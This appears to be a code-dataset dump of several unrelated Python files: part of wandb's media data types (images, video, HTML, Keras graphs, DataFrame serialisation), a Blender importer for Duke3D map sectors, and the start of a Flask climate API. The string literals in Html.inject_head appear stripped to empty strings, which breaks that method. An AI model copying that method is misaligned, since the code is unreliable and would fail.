return os.path.join('media', 'object3D')\n\n def to_json(self, run):\n json_dict = super(Object3D, self).to_json(run)\n json_dict['_type'] = 'object3D-file'\n return json_dict\n\n @classmethod\n def seq_to_json(cls, threeD_list, run, key, step):\n threeD_list = list(threeD_list)\n for i, obj in enumerate(threeD_list):\n if not obj.is_bound():\n obj.bind_to_run(run, key, step, id_=i)\n\n jsons = [obj.to_json(run) for obj in threeD_list]\n\n for obj in jsons:\n if not obj['path'].startswith(cls.get_media_subdir()):\n raise ValueError('Files in an array of Object3D\\'s must be in the {} directory, not {}'.format(cls.get_media_subdir(), obj['path']))\n\n return {\n \"_type\": \"object3D\",\n \"filenames\": [os.path.relpath(j['path'], cls.get_media_subdir()) for j in jsons],\n \"count\": len(jsons),\n 'objects': jsons,\n }\n\n\nclass Html(BatchableMedia):\n \"\"\"\n Wandb class for arbitrary html\n\n Arguments:\n data (string or io object): HTML to display in wandb\n inject (boolean): Add a stylesheet to the HTML object. If set\n to False the HTML will pass through unchanged.\n \"\"\"\n def __init__(self, data, inject=True):\n\n if isinstance(data, str):\n self.html = data\n elif hasattr(data, 'read'):\n if hasattr(data, 'seek'):\n data.seek(0)\n self.html = data.read()\n else:\n raise ValueError(\"data must be a string or an io object\")\n if inject:\n self.inject_head()\n\n tmp_path = os.path.join(MEDIA_TMP.name, util.generate_id() + '.html')\n with open(tmp_path, 'w') as out:\n print(self.html, file=out)\n\n super(Html, self).__init__(tmp_path, is_tmp=True)\n\n def inject_head(self):\n join = \"\"\n if \"\" in self.html:\n parts = self.html.split(\"\", 1)\n parts[0] = parts[0] + \"\"\n elif \"\" in self.html:\n parts = self.html.split(\"\", 1)\n parts[0] = parts[0] + \"\"\n parts[1] = \"\" + parts[1]\n else:\n parts = [\"\", self.html]\n parts.insert(\n 1, '')\n self.html = join.join(parts).strip()\n\n @classmethod\n def get_media_subdir(self):\n return os.path.join('media', 'html')\n\n def to_json(self, run):\n json_dict = super(Html, self).to_json(run)\n json_dict['_type'] = 'html-file'\n return json_dict\n\n @classmethod\n def seq_to_json(cls, html_list, run, key, step):\n base_path = os.path.join(run.dir, cls.get_media_subdir())\n util.mkdir_exists_ok(base_path)\n for i, h in enumerate(html_list):\n if not h.is_bound():\n h.bind_to_run(run, key, step, id_=i)\n meta = {\n \"_type\": \"html\",\n \"count\": len(html_list),\n 'html': [h.to_json(run) for h in html_list]\n }\n return meta\n\nclass Video(BatchableMedia):\n\n \"\"\"\n Wandb representation of video.\n\n Args:\n data_or_path (numpy array | string | io):\n Video can be initialized with a path to a file or an io object.\n The format must be \"gif\", \"mp4\", \"webm\" or \"ogg\".\n The format must be specified with the format argument.\n Video can be initialized with a numpy tensor.\n The numpy tensor must be either 4 dimensional or 5 dimensional.\n Channels should be (time, channel, height, width) or \n (batch, time, channel, height width)\n caption (string): caption associated with the video for display\n fps (int): frames per second for video. Default is 4.\n format (string): format of video, necessary if initializing with path or io object.\n \"\"\"\n\n EXTS = (\"gif\", \"mp4\", \"webm\", \"ogg\")\n\n def __init__(self, data_or_path, caption=None, fps=4, format=None):\n self._fps = fps\n self._format = format or \"gif\"\n self._width = None\n self._height = None\n self._channels = None\n self._caption = caption\n if self._format not in Video.EXTS:\n raise ValueError(\"wandb.Video accepts %s formats\" % \", \".join(Video.EXTS))\n\n if isinstance(data_or_path, six.BytesIO):\n filename = os.path.join(MEDIA_TMP.name, util.generate_id() + '.'+ self._format)\n with open(filename, \"wb\") as f:\n f.write(data_or_path.read())\n super(Video, self).__init__(filename, is_tmp=True)\n elif isinstance(data_or_path, six.string_types):\n _, ext = os.path.splitext(data_or_path)\n ext = ext[1:].lower()\n if ext not in Video.EXTS:\n raise ValueError(\"wandb.Video accepts %s formats\" % \", \".join(Video.EXTS))\n super(Video, self).__init__(data_or_path, is_tmp=False)\n #ffprobe -v error -select_streams v:0 -show_entries stream=width,height -of csv=p=0 data_or_path\n else:\n if hasattr(data_or_path, \"numpy\"): # TF data eager tensors\n self.data = data_or_path.numpy()\n elif is_numpy_array(data_or_path):\n self.data = data_or_path\n else:\n raise ValueError(\"wandb.Video accepts a file path or numpy like data as input\")\n self.encode()\n\n def encode(self):\n mpy = util.get_module(\"moviepy.editor\", required='wandb.Video requires moviepy and imageio when passing raw data. Install with \"pip install moviepy imageio\"')\n tensor = self._prepare_video(self.data)\n _, self._height, self._width, self._channels = tensor.shape\n\n # encode sequence of images into gif string\n clip = mpy.ImageSequenceClip(list(tensor), fps=self._fps)\n\n filename = os.path.join(MEDIA_TMP.name, util.generate_id() + '.'+ self._format)\n try: # older version of moviepy does not support progress_bar argument.\n if self._format == \"gif\":\n clip.write_gif(filename, verbose=False, progress_bar=False)\n else:\n clip.write_videofile(filename, verbose=False, progress_bar=False)\n except TypeError:\n if self._format == \"gif\":\n clip.write_gif(filename, verbose=False)\n else:\n clip.write_videofile(filename, verbose=False)\n super(Video, self).__init__(filename, is_tmp=True)\n\n @classmethod\n def get_media_subdir(cls):\n return os.path.join('media', 'videos')\n\n def to_json(self, run):\n json_dict = super(Video, self).to_json(run)\n json_dict['_type'] = 'video-file'\n\n if self._width is not None:\n json_dict['width'] = self._width\n if self._height is not None:\n json_dict['height'] = self._height\n if self._caption:\n json_dict['caption'] = self._caption\n\n return json_dict\n\n def _prepare_video(self, V):\n \"\"\"This logic was mostly taken from tensorboardX\"\"\"\n np = util.get_module(\n \"numpy\", required='wandb.Video requires numpy when passing raw data. To get it, run \"pip install numpy\".')\n if V.ndim < 4:\n raise ValueError(\"Video must be atleast 4 dimensions: time, channels, height, width\")\n if V.ndim == 4:\n V = V.reshape(1, *V.shape)\n b, t, c, h, w = V.shape\n\n if V.dtype != np.uint8:\n logging.warning(\"Converting video data to uint8\")\n V = V.astype(np.uint8)\n\n def is_power2(num):\n return num != 0 and ((num & (num - 1)) == 0)\n\n # pad to nearest power of 2, all at once\n if not is_power2(V.shape[0]):\n len_addition = int(2**V.shape[0].bit_length() - V.shape[0])\n V = np.concatenate(\n (V, np.zeros(shape=(len_addition, t, c, h, w))), axis=0)\n\n n_rows = 2**((b.bit_length() - 1) // 2)\n n_cols = V.shape[0] // n_rows\n\n V = np.reshape(V, newshape=(n_rows, n_cols, t, c, h, w))\n V = np.transpose(V, axes=(2, 0, 4, 1, 5, 3))\n V = np.reshape(V, newshape=(t, n_rows * h, n_cols * w, c))\n return V\n\n @classmethod\n def seq_to_json(cls, videos, run, key, step):\n base_path = os.path.join(run.dir, cls.get_media_subdir())\n util.mkdir_exists_ok(base_path)\n for i, v in enumerate(videos):\n if not v.is_bound():\n v.bind_to_run(run, key, step, id_=i)\n meta = {\n \"_type\": \"videos\",\n \"count\": len(videos),\n 'videos': [v.to_json(run) for v in videos],\n \"captions\": Video.captions(videos)\n }\n return meta\n\n @classmethod\n def captions(cls, videos):\n if videos[0]._caption != None:\n return [v._caption for v in videos]\n else:\n return False\n\n\nclass Image(BatchableMedia):\n \"\"\"\n Wandb class for images.\n\n Args:\n data_or_path (numpy array | string | io): Accepts numpy array of \n image data, or a PIL image. The class attempts to infer\n the data format and converts it.\n mode (string): The PIL mode for an image. Most common are \"L\", \"RGB\",\n \"RGBA\". Full explanation at https://pillow.readthedocs.io/en/4.2.x/handbook/concepts.html#concept-modes.\n caption (string): Label for display of image.\n \"\"\"\n\n MAX_THUMBNAILS = 108\n\n # PIL limit\n MAX_DIMENSION = 65500\n\n def __init__(self, data_or_path, mode=None, caption=None, grouping=None):\n # TODO: We should remove grouping, it's a terrible name and I don't\n # think anyone uses it.\n\n self._grouping = grouping\n self._caption = caption\n self._width = None\n self._height = None\n self._image = None\n\n if isinstance(data_or_path, six.string_types):\n super(Image, self).__init__(data_or_path, is_tmp=False)\n else:\n data = data_or_path\n\n PILImage = util.get_module(\n \"PIL.Image\", required='wandb.Image needs the PIL package. To get it, run \"pip install pillow\".')\n if util.is_matplotlib_typename(util.get_full_typename(data)):\n buf = six.BytesIO()\n util.ensure_matplotlib_figure(data).savefig(buf)\n self._image = PILImage.open(buf)\n elif isinstance(data, PILImage.Image):\n self._image = data\n elif util.is_pytorch_tensor_typename(util.get_full_typename(data)):\n vis_util = util.get_module(\n \"torchvision.utils\", \"torchvision is required to render images\")\n if hasattr(data, \"requires_grad\") and data.requires_grad:\n data = data.detach()\n data = vis_util.make_grid(data, normalize=True)\n self._image = PILImage.fromarray(data.mul(255).clamp(\n 0, 255).byte().permute(1, 2, 0).cpu().numpy())\n else:\n if hasattr(data, \"numpy\"): # TF data eager tensors\n data = data.numpy()\n if data.ndim > 2:\n data = data.squeeze() # get rid of trivial dimensions as a convenience\n self._image = PILImage.fromarray(\n self.to_uint8(data), mode=mode or self.guess_mode(data))\n\n self._width, self._height = self._image.size\n\n tmp_path = os.path.join(MEDIA_TMP.name, util.generate_id() + '.png')\n self._image.save(tmp_path, transparency=None)\n super(Image, self).__init__(tmp_path, is_tmp=True)\n\n @classmethod\n def get_media_subdir(cls):\n return os.path.join('media', 'images')\n\n def to_json(self, run):\n json_dict = super(Image, self).to_json(run)\n json_dict['_type'] = 'image-file'\n json_dict['format'] = \"png\"\n\n if self._width is not None:\n json_dict['width'] = self._width\n if self._height is not None:\n json_dict['height'] = self._height\n if self._grouping:\n json_dict['grouping'] = self._grouping\n if self._caption:\n json_dict['caption'] = self._caption\n\n return json_dict\n\n def guess_mode(self, data):\n \"\"\"\n Guess what type of image the np.array is representing\n \"\"\"\n # TODO: do we want to support dimensions being at the beginning of the array?\n if data.ndim == 2:\n return \"L\"\n elif data.shape[-1] == 3:\n return \"RGB\"\n elif data.shape[-1] == 4:\n return \"RGBA\"\n else:\n raise ValueError(\n \"Un-supported shape for image conversion %s\" % list(data.shape))\n\n @classmethod\n def to_uint8(self, data):\n \"\"\"\n Converts floating point image on the range [0,1] and integer images\n on the range [0,255] to uint8, clipping if necessary.\n \"\"\"\n np = util.get_module(\n \"numpy\", required=\"wandb.Image requires numpy if not supplying PIL Images: pip install numpy\")\n\n # I think it's better to check the image range vs the data type, since many\n # image libraries will return floats between 0 and 255\n\n # some images have range -1...1 or 0-1\n dmin = np.min(data)\n if dmin < 0:\n data = (data - np.min(data)) / np.ptp(data)\n if np.max(data) <= 1.0:\n data = (data * 255).astype(np.int32)\n\n #assert issubclass(data.dtype.type, np.integer), 'Illegal image format.'\n return data.clip(0, 255).astype(np.uint8)\n\n @classmethod\n def seq_to_json(cls, images, run, key, step):\n \"\"\"\n Combines a list of images into a single sprite returning meta information\n \"\"\"\n from PIL import Image as PILImage\n base = os.path.join(run.dir, cls.get_media_subdir())\n width, height = images[0]._image.size\n num_images_to_log = len(images)\n\n if num_images_to_log > Image.MAX_THUMBNAILS:\n logging.warning(\n \"Only %i images will be uploaded.\" % Image.MAX_THUMBNAILS)\n num_images_to_log = Image.MAX_THUMBNAILS\n\n if width * num_images_to_log > Image.MAX_DIMENSION:\n max_images_by_dimension = Image.MAX_DIMENSION // width\n logging.warning('Only {} images will be uploaded. The maximum total width for a set of thumbnails is 65,500px, or {} images, each with a width of {} pixels.'.format(max_images_by_dimension, max_images_by_dimension, width))\n num_images_to_log = max_images_by_dimension\n\n total_width = width * num_images_to_log\n sprite = PILImage.new(\n mode='RGB',\n size=(total_width, height),\n color=(0, 0, 0))\n for i, image in enumerate(images[:num_images_to_log]):\n location = width * i\n sprite.paste(image._image, (location, 0))\n fname = '{}_{}.png'.format(key, step)\n # fname may contain a slash so we create the directory\n util.mkdir_exists_ok(os.path.dirname(os.path.join(base, fname)))\n sprite.save(os.path.join(base, fname), transparency=None)\n meta = {\"width\": width, \"height\": height, \"format\": \"png\",\n \"count\": num_images_to_log, \"_type\": \"images\"}\n # TODO: hacky way to enable image grouping for now\n grouping = images[0]._grouping\n if grouping:\n meta[\"grouping\"] = grouping\n captions = Image.captions(images[:num_images_to_log])\n if captions:\n meta[\"captions\"] = captions\n return meta\n\n @classmethod\n def captions(cls, images):\n if images[0]._caption != None:\n return [i._caption for i in images]\n else:\n return False\n\nclass Graph(WBValue):\n \"\"\"Wandb class for graphs\n \n This class is typically used for saving and diplaying neural net models. It\n represents the graph as an array of nodes and edges. The nodes can have\n labels that can be visualized by wandb.\n\n Examples:\n Import a keras model:\n ```\n Graph.from_keras(keras_model)\n ```\n\n Attributes:\n format (string): Format to help wandb display the graph nicely.\n nodes ([wandb.Node]): List of wandb.Nodes\n nodes_by_id (dict): dict of ids -> nodes\n edges ([(wandb.Node, wandb.Node)]): List of pairs of nodes interpreted as edges\n loaded (boolean): Flag to tell whether the graph is completely loaded\n root (wandb.Node): root node of the graph\n \"\"\"\n def __init__(self, format=\"keras\"):\n # LB: TODO: I think we should factor criterion and criterion_passed out\n self.format = format\n self.nodes = []\n self.nodes_by_id = {}\n self.edges = []\n self.loaded = False\n self.criterion = None \n self.criterion_passed = False\n self.root = None # optional root Node if applicable\n\n def to_json(self, run=None):\n return {\"_type\": \"graph\", \"format\": self.format,\n \"nodes\": [node.to_json() for node in self.nodes],\n \"edges\": [edge.to_json() for edge in self.edges]}\n\n def __getitem__(self, nid):\n return self.nodes_by_id[nid]\n\n def pprint(self):\n for edge in self.edges:\n pprint.pprint(edge.attributes)\n for node in self.nodes:\n pprint.pprint(node.attributes)\n\n def add_node(self, node=None, **node_kwargs):\n if node is None:\n node = Node(**node_kwargs)\n elif node_kwargs:\n raise ValueError('Only pass one of either node ({node}) or other keyword arguments ({node_kwargs})'.format(\n node=node, node_kwargs=node_kwargs))\n self.nodes.append(node)\n self.nodes_by_id[node.id] = node\n\n return node\n\n def add_edge(self, from_node, to_node):\n edge = Edge(from_node, to_node)\n self.edges.append(edge)\n\n return edge\n\n @classmethod\n def from_keras(cls, model):\n graph = cls()\n # Shamelessly copied from keras/keras/utils/layer_utils.py\n\n if model.__class__.__name__ == 'Sequential':\n sequential_like = True\n elif not hasattr(model, \"_is_graph_network\") or not model._is_graph_network:\n # We treat subclassed models as a simple sequence of layers,\n # for logging purposes.\n sequential_like = True\n else:\n sequential_like = True\n nodes_by_depth = model._nodes_by_depth.values()\n nodes = []\n for v in nodes_by_depth:\n # TensorFlow2 doesn't insure inbound is always a list\n inbound = v[0].inbound_layers\n if not hasattr(inbound, '__len__'):\n inbound = [inbound]\n if (len(v) > 1) or (len(v) == 1 and len(inbound) > 1):\n # if the model has multiple nodes\n # or if the nodes have multiple inbound_layers\n # the model is no longer sequential\n sequential_like = False\n break\n nodes += v\n if sequential_like:\n # search for shared layers\n for layer in model.layers:\n flag = False\n if hasattr(layer, \"_inbound_nodes\"):\n for node in layer._inbound_nodes:\n if node in nodes:\n if flag:\n sequential_like = False\n break\n else:\n flag = True\n if not sequential_like:\n break\n\n relevant_nodes = None\n if sequential_like:\n # header names for the different log elements\n to_display = ['Layer (type)', 'Output Shape', 'Param #']\n else:\n relevant_nodes = []\n for v in model._nodes_by_depth.values():\n relevant_nodes += v\n\n layers = model.layers\n for i in range(len(layers)):\n node = Node.from_keras(layers[i])\n if hasattr(layers[i], '_inbound_nodes'):\n for in_node in layers[i]._inbound_nodes:\n if relevant_nodes and in_node not in relevant_nodes:\n # node is not part of the current network\n continue\n for in_layer in nest(in_node.inbound_layers):\n inbound_keras_node = Node.from_keras(in_layer)\n\n if (inbound_keras_node.id not in graph.nodes_by_id):\n graph.add_node(inbound_keras_node)\n inbound_node = graph.nodes_by_id[inbound_keras_node.id]\n\n graph.add_edge(inbound_node, node)\n graph.add_node(node)\n return graph\n\n\nclass Node(WBValue):\n \"\"\"\n Node used in :obj:`Graph`\n \"\"\"\n def __init__(self, id=None, name=None, class_name=None, size=None, parameters=None, output_shape=None, is_output=None, num_parameters=None, node=None):\n self._attributes = {'name': None}\n self.in_edges = {} # indexed by source node id\n self.out_edges = {} # indexed by dest node id\n # optional object (eg. PyTorch Parameter or Module) that this Node represents\n self.obj = None\n\n if node is not None:\n self._attributes.update(node._attributes)\n del self._attributes['id']\n self.obj = node.obj\n\n if id is not None:\n self.id = id\n if name is not None:\n self.name = name\n if class_name is not None:\n self.class_name = class_name\n if size is not None:\n self.size = size\n if parameters is not None:\n self.parameters = parameters\n if output_shape is not None:\n self.output_shape = output_shape\n if is_output is not None:\n self.is_output = is_output\n if num_parameters is not None:\n self.num_parameters = num_parameters\n\n def to_json(self, run=None):\n return self._attributes\n\n def __repr__(self):\n return repr(self._attributes)\n\n @property\n def id(self):\n \"\"\"Must be unique in the graph\"\"\"\n return self._attributes.get('id')\n\n @id.setter\n def id(self, val):\n self._attributes['id'] = val\n return val\n\n @property\n def name(self):\n \"\"\"Usually the type of layer or sublayer\"\"\"\n return self._attributes.get('name')\n\n @name.setter\n def name(self, val):\n self._attributes['name'] = val\n return val\n\n @property\n def class_name(self):\n \"\"\"Usually the type of layer or sublayer\"\"\"\n return self._attributes.get('class_name')\n\n @class_name.setter\n def class_name(self, val):\n self._attributes['class_name'] = val\n return val\n\n @property\n def functions(self):\n return self._attributes.get('functions', [])\n\n @functions.setter\n def functions(self, val):\n self._attributes[\"functions\"] = val\n return val\n\n @property\n def parameters(self):\n return self._attributes.get('parameters', [])\n\n @parameters.setter\n def parameters(self, val):\n self._attributes[\"parameters\"] = val\n return val\n\n @property\n def size(self):\n return self._attributes.get('size')\n\n @size.setter\n def size(self, val):\n \"\"\"Tensor size\"\"\"\n self._attributes['size'] = tuple(val)\n return val\n\n @property\n def output_shape(self):\n return self._attributes.get('output_shape')\n\n @output_shape.setter\n def output_shape(self, val):\n \"\"\"Tensor output_shape\"\"\"\n self._attributes['output_shape'] = val\n return val\n\n @property\n def is_output(self):\n return self._attributes.get('is_output')\n\n @is_output.setter\n def is_output(self, val):\n \"\"\"Tensor is_output\"\"\"\n self._attributes['is_output'] = val\n return val\n\n @property\n def num_parameters(self):\n return self._attributes.get('num_parameters')\n\n @num_parameters.setter\n def num_parameters(self, val):\n \"\"\"Tensor num_parameters\"\"\"\n self._attributes['num_parameters'] = val\n return val\n\n @property\n def child_parameters(self):\n return self._attributes.get('child_parameters')\n\n @child_parameters.setter\n def child_parameters(self, val):\n \"\"\"Tensor child_parameters\"\"\"\n self._attributes['child_parameters'] = val\n return val\n\n @property\n def is_constant(self):\n return self._attributes.get('is_constant')\n\n @is_constant.setter\n def is_constant(self, val):\n \"\"\"Tensor is_constant\"\"\"\n self._attributes['is_constant'] = val\n return val\n\n @classmethod\n def from_keras(cls, layer):\n node = cls()\n\n try:\n output_shape = layer.output_shape\n except AttributeError:\n output_shape = ['multiple']\n\n node.id = layer.name\n node.name = layer.name\n node.class_name = layer.__class__.__name__\n node.output_shape = output_shape\n node.num_parameters = layer.count_params()\n\n return node\n\n\nclass Edge(WBValue):\n \"\"\"\n Edge used in :obj:`Graph`\n \"\"\"\n \n def __init__(self, from_node, to_node):\n self._attributes = {}\n self.from_node = from_node\n self.to_node = to_node\n\n def __repr__(self):\n temp_attr = dict(self._attributes)\n del temp_attr['from_node']\n del temp_attr['to_node']\n temp_attr['from_id'] = self.from_node.id\n temp_attr['to_id'] = self.to_node.id\n return str(temp_attr)\n\n def to_json(self, run=None):\n return [self.from_node.id, self.to_node.id]\n\n @property\n def name(self):\n \"\"\"Optional, not necessarily unique\"\"\"\n return self._attributes.get('name')\n\n @name.setter\n def name(self, val):\n self._attributes['name'] = val\n return val\n\n @property\n def from_node(self):\n return self._attributes.get('from_node')\n\n @from_node.setter\n def from_node(self, val):\n self._attributes['from_node'] = val\n return val\n\n @property\n def to_node(self):\n return self._attributes.get('to_node')\n\n @to_node.setter\n def to_node(self, val):\n self._attributes['to_node'] = val\n return val\n\ndef nest(thing):\n # Use tensorflows nest function if available, otherwise just wrap object in an array\"\"\"\n \n tfutil = util.get_module('tensorflow.python.util')\n if tfutil:\n return tfutil.nest.flatten(thing)\n else:\n return [thing]\n\n\ndef history_dict_to_json(run, payload, step=None):\n # Converts a History row dict's elements so they're friendly for JSON serialization.\n\n if step is None:\n # We should be at the top level of the History row; assume this key is set.\n step = payload['_step']\n\n # We use list here because we were still seeing cases of RuntimeError dict changed size\n for key in list(payload):\n val = payload[key]\n if isinstance(val, dict):\n payload[key] = history_dict_to_json(run, val, step=step)\n else:\n payload[key] = val_to_json(run, key, val, step=step)\n\n return payload\n\ndef numpy_arrays_to_lists(payload):\n # Casts all numpy arrays to lists so we don't convert them to histograms, primarily for Plotly\n\n for key,val in six.iteritems(payload):\n if isinstance(val, dict):\n payload[key] = numpy_arrays_to_lists(val)\n elif util.is_numpy_array(val):\n payload[key] = val.tolist()\n\n return payload\n\n\ndef val_to_json(run, key, val, step='summary'):\n # Converts a wandb datatype to its JSON representation.\n \n converted = val\n typename = util.get_full_typename(val)\n\n if util.is_pandas_data_frame(val):\n assert step == 'summary', \"We don't yet support DataFrames in History.\"\n return data_frame_to_json(val, run, key, step)\n elif util.is_matplotlib_typename(typename):\n # This handles plots with images in it because plotly doesn't support it\n # TODO: should we handle a list of plots?\n val = util.ensure_matplotlib_figure(val)\n if any(len(ax.images) > 0 for ax in val.axes):\n PILImage = util.get_module(\n \"PIL.Image\", required=\"Logging plots with images requires pil: pip install pillow\")\n buf = six.BytesIO()\n val.savefig(buf)\n val = Image(PILImage.open(buf))\n else:\n converted = plot_to_json(val)\n elif util.is_plotly_typename(typename):\n converted = plot_to_json(val)\n elif isinstance(val, collections.Sequence) and all(isinstance(v, WBValue) for v in val):\n # This check will break down if Image/Audio/... have child classes.\n if len(val) and isinstance(val[0], BatchableMedia) and all(isinstance(v, type(val[0])) for v in val):\n return val[0].seq_to_json(val, run, key, step)\n else:\n # TODO(adrian): Good idea to pass on the same key here? Maybe include\n # the array index?\n # There is a bug here: if this array contains two arrays of the same type of\n # anonymous media objects, their eventual names will collide.\n # This used to happen. The frontend doesn't handle heterogenous arrays\n #raise ValueError(\n # \"Mixed media types in the same list aren't supported\")\n return [val_to_json(run, key, v, step=step) for v in val]\n\n if isinstance(val, WBValue):\n if isinstance(val, Media) and not val.is_bound():\n val.bind_to_run(run, key, step)\n return val.to_json(run)\n\n return converted\n\ndef plot_to_json(obj):\n \"\"\"Converts a matplotlib or plotly object to json so that we can pass\n it the the wandb server and display it nicely there\"\"\"\n\n if util.is_matplotlib_typename(util.get_full_typename(obj)):\n tools = util.get_module(\n \"plotly.tools\", required=\"plotly is required to log interactive plots, install with: pip install plotly or convert the plot to an image with `wandb.Image(plt)`\")\n obj = tools.mpl_to_plotly(obj)\n\n if util.is_plotly_typename(util.get_full_typename(obj)):\n return {\"_type\": \"plotly\", \"plot\": numpy_arrays_to_lists(obj.to_plotly_json())}\n else:\n return obj\n\n\ndef data_frame_to_json(df, run, key, step):\n \"\"\"Encode a Pandas DataFrame into the JSON/backend format.\n\n Writes the data to a file and returns a dictionary that we use to represent\n it in `Summary`'s.\n\n Arguments:\n df (pandas.DataFrame): The DataFrame. Must not have columns named\n \"wandb_run_id\" or \"wandb_data_frame_id\". They will be added to the\n DataFrame here.\n run (wandb_run.Run): The Run the DataFrame is associated with. We need\n this because the information we store on the DataFrame is derived\n from the Run it's in.\n key (str): Name of the DataFrame, ie. the summary key path in which it's\n stored. This is for convenience, so people exploring the\n directory tree can have some idea of what is in the Parquet files.\n step: History step or \"summary\".\n\n Returns:\n A dict representing the DataFrame that we can store in summaries or\n histories. This is the format:\n {\n '_type': 'data-frame',\n # Magic field that indicates that this object is a data frame as\n # opposed to a normal dictionary or anything else.\n 'id': 'asdf',\n # ID for the data frame that is unique to this Run.\n 'format': 'parquet',\n # The file format in which the data frame is stored. Currently can\n # only be Parquet.\n 'project': 'wfeas',\n # (Current) name of the project that this Run is in. It'd be\n # better to store the project's ID because we know it'll never\n # change but we don't have that here. We store this just in\n # case because we use the project name in identifiers on the\n # back end.\n 'path': 'media/data_frames/sdlk.parquet',\n # Path to the Parquet file in the Run directory.\n }\n \"\"\"\n pandas = util.get_module(\"pandas\")\n fastparquet = util.get_module(\"fastparquet\")\n missing_reqs = []\n if not pandas:\n missing_reqs.append('pandas')\n if not fastparquet:\n missing_reqs.append('fastparquet')\n if len(missing_reqs) > 0:\n raise wandb.Error(\"Failed to save data frame. Please run 'pip install %s'\" % ' '.join(missing_reqs))\n\n data_frame_id = util.generate_id()\n\n df = df.copy() # we don't want to modify the user's DataFrame instance.\n\n for col_name, series in df.items():\n for i, val in enumerate(series):\n if isinstance(val, WBValue):\n series.iat[i] = six.text_type(json.dumps(val_to_json(run, key, val, step)))\n\n # We have to call this wandb_run_id because that name is treated specially by\n # our filtering code\n df['wandb_run_id'] = pandas.Series(\n [six.text_type(run.id)] * len(df.index), index=df.index)\n\n df['wandb_data_frame_id'] = pandas.Series(\n [six.text_type(data_frame_id)] * len(df.index), index=df.index)\n frames_dir = os.path.join(run.dir, DATA_FRAMES_SUBDIR)\n util.mkdir_exists_ok(frames_dir)\n path = os.path.join(frames_dir, '{}-{}.parquet'.format(key, data_frame_id))\n fastparquet.write(path, df)\n\n return {\n 'id': data_frame_id,\n '_type': 'data-frame',\n 'format': 'parquet',\n 'project': run.project_name(), # we don't have the project ID here\n 'entity': run.entity,\n 'run': run.id,\n 'path': path,\n }\n","sub_path":"wandb/data_types.py","file_name":"data_types.py","file_ext":"py","file_size_in_byte":49857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597232749","text":"import bpy\nimport bmesh\nfrom mathutils import Matrix, Vector\n\nfrom .api import Map\n\n\nclass LazyCache(object):\n def __init__(self, on_cache_miss):\n self._on_cache_miss = on_cache_miss\n self._cache = {}\n\n def __getitem__(self, item):\n if item not in self._cache:\n self._cache[item] = self._on_cache_miss(item)\n\n return self._cache[item]\n\n\ndef load(operator, context, filepath='',\n global_scale=1.0):\n\n #if not is_mapfile(filepath):\n # operator.report(\n # {'ERROR'},\n # '{} not a recognized MAP file'.format(filepath)\n # )\n # return {'CANCELLED'}\n\n map_file = Map(filepath)\n #map_file.close()\n\n global_matrix = Matrix.Scale(global_scale, 4)\n\n for sector_index, sector in enumerate(map_file.sectors):\n me = bpy.data.meshes.new('sector.{}'.format(sector_index))\n bm = bmesh.new()\n bedges = []\n\n for il, loop in enumerate(sector.loops):\n # Build vertices\n points = [(*p, sector.floor_z(p)) for p in loop.points]\n bverts = [bm.verts.new(p) for p in points[:-1]]\n\n for bvert in bverts:\n bvert.co = global_matrix * bvert.co\n\n bm.verts.ensure_lookup_table()\n\n # Build edges\n edges = list(zip(bverts[:], bverts[1:] + [bverts[0]]))\n #edges = [bm.edges.new(e) for e in edges]\n bes = []\n for ie, e in enumerate(edges):\n bes.append(bm.edges.new(e))\n edges = bes\n\n bm.edges.ensure_lookup_table()\n bedges += edges\n\n # Triangulate face\n bmesh.ops.triangle_fill(bm, use_beauty=True, use_dissolve=False, edges=bedges, normal=(0, 0, 1))\n bm.to_mesh(me)\n bm.free()\n ob = bpy.data.objects.new('sector.{}'.format(sector_index), me)\n bpy.context.scene.objects.link(ob)\n\n \"\"\"\n for sector_index, sector in enumerate(map_file.sectors):\n points = []\n\n me = bpy.data.meshes.new('sector.{}'.format(sector_index))\n bm = bmesh.new()\n\n def on_cache_miss(vertex):\n v = bm.verts.new(vertex)\n v.co = global_matrix * v.co\n return v\n\n vertex_cache = LazyCache(on_cache_miss)\n edges = set()\n\n wall_range = range(sector.wall_pointer, sector.wall_pointer + sector.wall_number)\n for wall in [sector.walls[i] for i in wall_range]:\n pass\n\n for i in range(sector.wall_pointer, sector.wall_pointer + sector.wall_number):\n current_wall = map_file.walls[i]\n start_point = current_wall.x, -current_wall.y, -(sector.floor_z >> 4)\n start_point = vertex_cache[start_point]\n next_wall = map_file.walls[current_wall.point2]\n end_point = next_wall.x, -next_wall.y, -(sector.floor_z >> 4)\n end_point = vertex_cache[end_point]\n\n edges.add((start_point, end_point))\n\n bm.verts.ensure_lookup_table()\n edges = list(edges)\n bes = []\n\n for i, e in enumerate(edges):\n try:\n bes.append(bm.edges.new(e))\n except:\n pass\n\n bm.edges.ensure_lookup_table()\n\n bmesh.ops.triangle_fill(bm, use_beauty=True, use_dissolve=False, edges=bes, normal=(0,0,1))\n\n bm.to_mesh(me)\n bm.free()\n ob = bpy.data.objects.new('sector.{}'.format(sector_index), me)\n bpy.context.scene.objects.link(ob)\n \"\"\"\n\n return {'FINISHED'}\n\n\n\"\"\"\nNotes:\n\nUse bmesh.ops.triangle_fill()\nhttps://docs.blender.org/api/blender_python_api_current/bmesh.ops.html#bmesh.ops.triangle_fill\n\nThe above should be something like:\n1. Build a list of edges\n2. Build a set of verts from edges\n3. Add bmesh.verts\n4. Add bmesh.edges\n5. Call triangle_fill()\n\"\"\"","sub_path":"duke3d/extra/io_scene_map/import_map.py","file_name":"import_map.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"152166883","text":"# Step 4 - Climate App\r\n# Now that you have completed your initial analysis, design a Flask api based on the queries that you have just developed.\r\n\r\n# Use FLASK to create your routes.\r\n\r\nfrom sqlalchemy.ext.automap import automap_base\r\nfrom sqlalchemy.orm import Session\r\nfrom sqlalchemy import create_engine\r\n\r\nfrom flask import Flask, jsonify\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Database Setup\r\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\r\n\r\n# Reflect an existing database into a new model\r\nBase = automap_base()\r\n\r\n# Reflect the tables\r\nBase.prepare(engine, reflect=True)\r\n\r\n#print(Base.classes.keys())\r\n\r\n# Save reference to the table\r\nStation = Base.classes.stations\r\nMeasurement = Base.classes.measurements\r\n\r\n# Define a session\r\nsession = Session(engine)\r\napp = Flask(__name__)\r\n\r\n# Flask Routes\r\n\r\n@app.route(\"/\")\r\ndef welcome():\r\n \"\"\"List all available api routes.\"\"\"\r\n return (\"Available Routes:
